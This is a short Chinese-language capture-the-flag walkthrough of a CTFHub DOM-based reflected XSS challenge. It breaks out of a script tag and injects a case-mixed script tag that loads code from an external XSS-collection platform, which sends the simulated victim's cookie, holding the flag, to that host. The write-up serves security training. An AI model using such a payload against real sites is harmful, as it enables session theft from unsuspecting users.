CTFHUB—XSS—DOM反射

开启题目

输入以下语句测试一下，发现页面没有弹出窗口显示“flag”

<script>alert("flag")</script>

查看页面源代码， 尝试闭合标签

使用下面代码闭合，然后发现闭合成功了

'</script><script>alert("flag")</script>

这里我们使用 TLXSS 平台（XSS平台-XSS测试网站-仅用于安全免费测试，没有账号可以注册一个，用户名最好是英文），点击创建项目，项目名称随便起

在“我的的项目”点击刚才创建的项目，再点击右上角的查看配置源码

这里选择第二个

拼接到闭合后面，放到第一个输入框提交

'></script><sCRiPt sRC=//xs.pe/wEZ></sCrIpT>

然后把 URL 放到第二个输入框模拟用户访问，发送

然后回到 TLXSS 平台的项目页面查看 cookie 参数是否传到本地服务器中，最后在 cookie 返回值发现了 flag